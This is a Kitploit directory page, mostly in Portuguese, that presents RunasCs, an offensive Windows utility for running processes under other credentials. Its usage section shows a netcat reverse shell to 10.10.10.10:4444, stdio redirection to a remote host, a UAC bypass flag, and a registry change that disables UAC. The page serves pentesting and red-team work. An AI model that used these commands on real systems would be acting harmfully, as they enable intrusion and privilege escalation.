Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/antoniococo/runascs
Escalada de PrivilégiosFerramentas de ImpersonaçãoMovimento LateralPós-ExploraçãoTestes de PenetraçãoRed Teaming
GitHubantoniococo/runascs

RunasCs

RunasCs - Versão em Csharp e aberta do runas.exe integrado do Windows

Ver Repositório
1.4k1619há 2 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

RunasCs


RunasCs é um utilitário para executar processos específicos com permissões diferentes das fornecidas pelo logon atual do usuário, usando credenciais explícitas. Esta ferramenta é uma versão melhorada e aberta do runas.exe nativo do Windows que resolve algumas limitações:

  • Permite credenciais explícitas
  • Funciona tanto quando iniciado a partir de um processo interativo quanto de um processo de serviço
  • Gerencia corretamente DACL para Window Stations e Desktop para a criação do novo processo
  • Usa funções de criação de processo mais confiáveis, como CreateProcessAsUser() e CreateProcessWithTokenW(), se o processo chamador tiver os privilégios necessários (detecção automática)
  • Permite especificar o tipo de logon, ex.: logon 8-NetworkCleartext (sem limitações de UAC)
  • Permite contornar o UAC quando a senha de um administrador é conhecida (flag --bypass-uac)
  • Permite criar um processo com a thread principal assumindo a identidade do usuário solicitado (flag --remote-impersonation)
  • Permite redirecionar stdin, stdout e stderr para um host remoto
  • É Open Source :)

RunasCs possui detecção automática para determinar a melhor função de criação de processo para cada contexto. Com base nas permissões do token do processo chamador, ele usará uma das funções de criação de processo na seguinte ordem preferida:

  1. CreateProcessAsUserW()
  2. CreateProcessWithTokenW()
  3. CreateProcessWithLogonW()

Requisitos


.NET Framework >= 2.0

Uso


root@kitploit:~
RunasCs v1.5 - @splinter_code

Usage:
    RunasCs.exe username password cmd [-d domain] [-f create_process_function] [-l logon_type] [-r host:port] [-t process_timeout] [--force-profile] [--bypass-uac] [--remote-impersonation]

Description:
    RunasCs is an utility to run specific processes under a different user account
    by specifying explicit credentials. In contrast to the default runas.exe command
    it supports different logon types and CreateProcess* functions to be used, depending
    on your current permissions. Furthermore it allows input/output redirection (even
    to remote hosts) and you can specify the password directly on the command line.

Positional arguments:
    username                username of the user
    password                password of the user
    cmd                     commandline for the process

Optional arguments:
    -d, --domain domain
                            domain of the user, if in a domain.
                            Default: ""
    -f, --function create_process_function
                            CreateProcess function to use. When not specified
                            RunasCs determines an appropriate CreateProcess
                            function automatically according to your privileges.
                            0 - CreateProcessAsUserW
                            1 - CreateProcessWithTokenW
                            2 - CreateProcessWithLogonW
    -l, --logon-type logon_type
                            the logon type for the token of the new process.
                            Default: "2" - Interactive
    -t, --timeout process_timeout
                            the waiting time (in ms) for the created process.
                            This will halt RunasCs until the spawned process
                            ends and sent the output back to the caller.
                            If you set 0 no output will be retrieved and a
                            background process will be created.
                            Default: "120000"
    -r, --remote host:port
                            redirect stdin, stdout and stderr to a remote host.
                            Using this option sets the process_timeout to 0.
    -p, --force-profile
                            force the creation of the user profile on the machine.
                            This will ensure the process will have the
                            environment variables correctly set.
                            WARNING: If non-existent, it creates the user profile
                            directory in the C:\Users folder.
    -b, --bypass-uac
                            try a UAC bypass to spawn a process without
                            token limitations (not filtered).
    -i, --remote-impersonation
                            spawn a new process and assign the token of the
                            logged on user to the main thread.

Examples:
    Run a command as a local user
        RunasCs.exe user1 password1 "cmd /c whoami /all"
    Run a command as a domain user and logon type as NetworkCleartext (8)
        RunasCs.exe user1 password1 "cmd /c whoami /all" -d domain -l 8
    Run a background process as a local user,
        RunasCs.exe user1 password1 "C:\tmp\nc.exe 10.10.10.10 4444 -e cmd.exe" -t 0
    Redirect stdin, stdout and stderr of the specified command to a remote host
        RunasCs.exe user1 password1 cmd.exe -r 10.10.10.10:4444
    Run a command simulating the /netonly flag of runas.exe
        RunasCs.exe user1 password1 "cmd /c whoami /all" -l 9
    Run a command as an Administrator bypassing UAC
        RunasCs.exe adm1 password1 "cmd /c whoami /priv" --bypass-uac
    Run a command as an Administrator through remote impersonation
        RunasCs.exe adm1 password1 "cmd /c echo admin > C:\Windows\admin" -l 8 --remote-impersonation

Os dois processos (chamador e chamado) se comunicarão por meio de um pipe (tanto para stdout quanto para stderr). O tipo de logon padrão é 2 (Interactive).

Por padrão, o tipo de logon Interactive (2) é restringido pelo UAC e os tokens gerados por essas autenticações são filtrados. Você pode fazer logon interativo sem restrições definindo a seguinte chave de registro como 0 e reiniciando o servidor:

root@kitploit:~
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA

Caso contrário, você pode tentar a flag --bypass-uac para tentar contornar a limitação de filtragem do token.

O tipo de logon NetworkCleartext (8) é o que possui as permissões mais amplas, pois não é filtrado pelo UAC em tokens locais e ainda permite autenticações pela rede, já que armazena credenciais no pacote de autenticação. Se você tiver privilégios suficientes, tente sempre especificar esse tipo de logon por meio da flag --logon-type 8.

Por padrão, o processo chamador (RunasCs) aguardará até o fim da execução do processo gerado. Se precisar gerar um processo em segundo plano ou assíncrono, ou seja, gerar uma reverse shell, você precisa definir o parâmetro -t timeout como 0. Nesse caso, o RunasCs não aguardará o fim da execução do processo recém-criado.

Referências


  • Batatas e tokens
  • Iniciando um processo de cliente interativo em C++
  • Criando um processo filho com entrada e saída redirecionadas
  • Serviços interativos
  • O que há com o erro "The application failed to initialize properly (0xc0000142)"?
  • Obtendo uma shell de conta de serviço interativa
  • Entendendo o UAC (Parte 1)
  • Entendendo o UAC (Parte 2)
  • Entendendo o UAC (Parte 3)
  • Vanara - Um conjunto de bibliotecas .NET para Windows que implementa chamadas PInvoke para muitas APIs nativas do Windows com wrappers de suporte

Créditos


  • @decoder
  • @qtc-de
  • @winlogon0
Baixar ferramenta